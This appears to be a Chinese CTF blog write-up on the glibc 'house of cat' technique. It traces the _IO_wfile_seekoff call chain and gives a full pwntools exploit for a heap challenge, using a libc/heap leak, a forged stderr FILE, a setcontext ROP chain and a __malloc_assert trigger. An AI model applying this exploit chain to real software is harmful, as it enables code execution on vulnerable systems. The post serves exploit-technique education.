• 常回家看看之house_of_cat

    house_of_cat

    前言：

    house of cat 这个利用手法和前面提到的 house of kiwi ，和 house of emma 利用的手法是一个链子，当程序无法通过main函数返回时候，或者程序不能显性调用exit函数的时候，我们可以通过 __malloc_assert 来刷新IO流，当然这个函数在2.35之后移除了刷新IO流，最后在2.37彻底移除。

    house of cat 和 house of emma 一样修改 vtable表，但是不同的是，house of emma 使用的函数是 _IO_cookie_read来进行跳转，而hosue of cat使用的是_IO_wfile_seekoff来进行函数调用的，这个函数存在 _IO_wfile_jumps中，我们看看它的源码

    1. _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
    2. {
    3.   off64_t result;
    4.   off64_t delta, new_offset;
    5.   long int count;
    6.  
    7.   if (mode == 0)
    8.     return do_ftell_wide (fp);
    9. ......
    10.  
    11.   bool was_writing = ((fp->_wide_data->_IO_write_ptr
    12. 		       > fp->_wide_data->_IO_write_base)
    13. 		      || _IO_in_put_mode (fp));
    14.  
    15.   if (was_writing && _IO_switch_to_wget_mode (fp))
    16.     return WEOF;
    17. ......
    18. }

    发现它会在满足条件的情况下调用 _IO_switch_to_wget_mode 函数，我们继续跟进，查看源码

    1. _IO_switch_to_wget_mode (FILE *fp)
    2. {
    3.   if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    4.     if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
    5.       return EOF;
    6. ......
    7. }

    它会在满足条件的情况下调用 _IO_WOVERFLOW，但是需要满足情况，需要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 这个条件。因为这个 _IO_WOVERFLOW 函数是通过 _wide_data->_wide_vtable 中所存放的函数指针进行跳转的， 但是_wide_vtable 是我们可控的，从而在这里可以劫持程序的执行流。

    看看完整的调用链__malloc_assert-> __fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext->orw

    调用我们伪造的vtable

    满足条件进行调用_IO_switch_to_wget_mode 函数

    继续步入，注意这里rax的变化

    这里已经修改过rax+0x18处的地址

    继续劫持rdx+0xa0 和rdx+0xa8达到劫持程流序到堆块上(如果没有开沙箱可以之间system（"/bin/sh"）拿shell。

    例题

    题目链接：
    链接：https://pan.baidu.com/s/1BIOPCJ_nVxN1iWy_m-yWJg?pwd=c7qv 
    提取码：c7qv

    题目一上来是有检查的，但是我们重心放在house of cat ，这里检查直接给出

    登录的时候需要输入 LOGIN | r00t QWB QWXFadmin，在每次堆块操作的时候需要输入CAT | r00t QWB QWXF$\xff 来通过检查

    add函数有大小限制，通过calloc来分配

    edit函数不能越界，只能使用两次，每次输入0x30字节

    free函数存在UAF漏洞

    show 函数打印0x30字节数据，没有截断

    程序还开了沙箱只能orw，而且read的第一个参数必须是0，那么就是要先要关闭文件描述符0，然后再次使用read

    那么思路很明显，通过largebin 来一次泄露libc地址和堆块地址，然后两次edit，第一个修改stderr结构体（以为malloc_assert会调用stderr来输出报错信息），第二次修改top_chunk来修改size来触发 _malloc_assert，那么这里就要注意了伪造结构结构体时候一定要注意布局还有它们之间的调用关系

    EXP：

    1. from gt import *
    2.  
    3. con("amd64")
    4.  
    5. io = process("./houseofcat")
    6. libc = ELF("/home/su/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc-2.35.so")
    7.  
    8. #gdb.attach(io)
    9. io.sendafter("mew mew mew~~~~~~\n","LOGIN | r00t QWB QWXFadmin")
    10.  
    11.  
    12. def add(index,size,msg='\x00'):
    13.     io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    14.     io.sendlineafter("choice:\n","1")
    15.     io.sendlineafter("cat idx:\n",str(index))
    16.     io.sendlineafter("cat size:\n",str(size))
    17.     io.sendafter("your content:\n",msg)
    18.  
    19.  
    20.  
    21. def free(index):
    22.     io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    23.     io.sendlineafter("choice:\n","2")
    24.     io.sendlineafter("cat idx:\n",str(index))
    25.  
    26.  
    27.  
    28.  
    29. def show(index):
    30.     io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    31.     io.sendlineafter("choice:\n","3")
    32.     io.sendlineafter("cat idx:\n",str(index))
    33.  
    34.  
    35.  
    36. def edit(index,msg):
    37.     io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    38.     io.sendlineafter("choice:\n","4")
    39.     io.sendlineafter("cat idx:\n",str(index))
    40.     io.sendafter("your content:\n",msg)
    41.  
    42.  
    43.  
    44. add(0,0x420) #0
    45. add(1,0x430) #1
    46. add(2,0x418) #2
    47.  
    48. free(0)
    49. add(3,0x430) #4
    50. show(0)
    51. io.recvuntil("Context:\n")
    52. libc_base = u64(io.recv(8))-0x21a0d0
    53. suc("libc_base",libc_base)
    54. io.recv(8)
    55. heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x290
    56. suc("heap_base",heap_base)
    57.  
    58. setcontext = libc_base + libc.sym["setcontext"]
    59. read = libc_base + libc.sym["read"]
    60. write = libc_base + libc.sym["write"]
    61. pop_rax = libc_base + 0x0000000000045eb0#: pop rax; ret; 
    62. pop_rdi = libc_base + 0x000000000002a3e5#: pop rdi; ret; 
    63. pop_rsi = libc_base + 0x000000000002be51#: pop rsi; ret; 
    64. pop_rdx_r12 = libc_base + 0x000000000011f497#: pop rdx; pop r12; ret; 
    65. lv = libc_base + 0x00000000000562ec#: leave; ret; 
    66. stderr = libc_base + libc.sym['stderr']
    67. close = libc_base + libc.sym["close"]
    68. syscall = libc_base + 0x0000000000091396#: syscall; ret; 
    69. _IO_wfile_jumps = libc_base + 0x2160c0
    70.  
    71.  
    72. flag_addr = heap_base + 0xb00 + 0x230
    73. orw = flat(pop_rdi ,0 , close)
    74. orw += flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
    75. orw += flat(pop_rdi,0,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,read)
    76. orw += flat(pop_rdi,1,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,write)
    77. orw += b'flag\x00\x00\x00\x00' + p64(0xdeadbeef)
    78.  
    79.  
    80.  
    81.  
    82. fake_io_addr = heap_base + 0xb00
    83.  
    84. fake_IO_FILE  =p64(0)*6
    85. fake_IO_FILE +=p64(1)+p64(0)
    86. fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61 
    87. fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr rax+0x58
    88. fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
    89. fake_IO_FILE +=p64(0)  # _chain
    90. fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
    91. fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
    92. fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
    93. fake_IO_FILE +=p64(heap_base+0xb30) #rax1
    94. fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
    95. fake_IO_FILE += p64(0)
    96. fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
    97. fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
    98. fake_IO_FILE += p64(0) *6
    99. fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
    100. fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
    101. fake_IO_FILE += orw
    102.  
    103. free(2)
    104. payload = p64(libc_base+0x21a0d0)*2 +p64(heap_base+0x290) + p64(stderr - 0x20) 
    105. add(6,0x418,fake_IO_FILE)
    106. edit(0,payload)
    107. free(6)
    108. add(4,0x430)
    109.  
    110. #gdb.attach(io)
    111. add(5,0x440) #large
    112. add(7,0x430)
    113. add(8,0x430) #unsort
    114. free(5)
    115. add(9,0x450)
    116. top_chunk = heap_base + 0x28d0 
    117. payload = p64(libc_base+0x21a0e0)*2 +p64(heap_base+0x17a0) + p64(top_chunk+3 - 0x20)
    118. edit(5,payload)
    119. free(8)
    120. #add(10,0x460)
    121. #gdb.attach(io)
    122.  
    123. io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    124. io.sendlineafter('plz input your cat choice:\n',str(1))
    125. io.sendlineafter('plz input your cat idx:',str(11))
    126. gdb.attach(io,'b* (_IO_wfile_seekoff)')
    127. #gdb.attach(io)
    128. io.sendlineafter('plz input your cat size:',str(0x450))
    129.  
    130.  
    131.  
    132. io.interactive()

    分析一下伪造的IO

    1. fake_io_addr = heap_base + 0xb00
    2.  
    3. fake_IO_FILE  =p64(0)*6
    4. fake_IO_FILE +=p64(1)+p64(0)  #这里为了绕过检查
    5. fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx 这里是rdx
    6. fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr   这里是rax + 0x18的位置
    7. fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
    8. fake_IO_FILE +=p64(0)  # _chain
    9. fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
    10. fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
    11. fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
    12. fake_IO_FILE +=p64(heap_base+0xb30) #rax1  0x90位置为第一次的rax （rax+0xa0）
    13. fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
    14. fake_IO_FILE += p64(0)
    15. fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
    16. fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
    17. fake_IO_FILE += p64(0) *6
    18. fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
    19. fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
    20. fake_IO_FILE += orw

     最后执行效果

  • 相关阅读:
    Azure AD功能一览（访问篇）
    自注意力(Self-Attention)与Multi-Head Attention机制详解
    工作流引擎笔记 20230927
    基于深度学习初始位姿估计的机器人摄影测量视点规划
    【Docker1】指令，docker-compose，Dockerfile
    使用Visual Studio Code远程开发、调试fortran
    【附源码】Python计算机毕业设计网上购物系统
    java计算机毕业设计服装连锁店后台管理系统源码+mysql数据库+系统+lw文档+部署
    新书速览|HTML+CSS+JavaScript+Bootstrap渐进式Web开发入门与实践
    多线程案例
  • 原文地址：https://blog.csdn.net/susu_xiaosu/article/details/142301919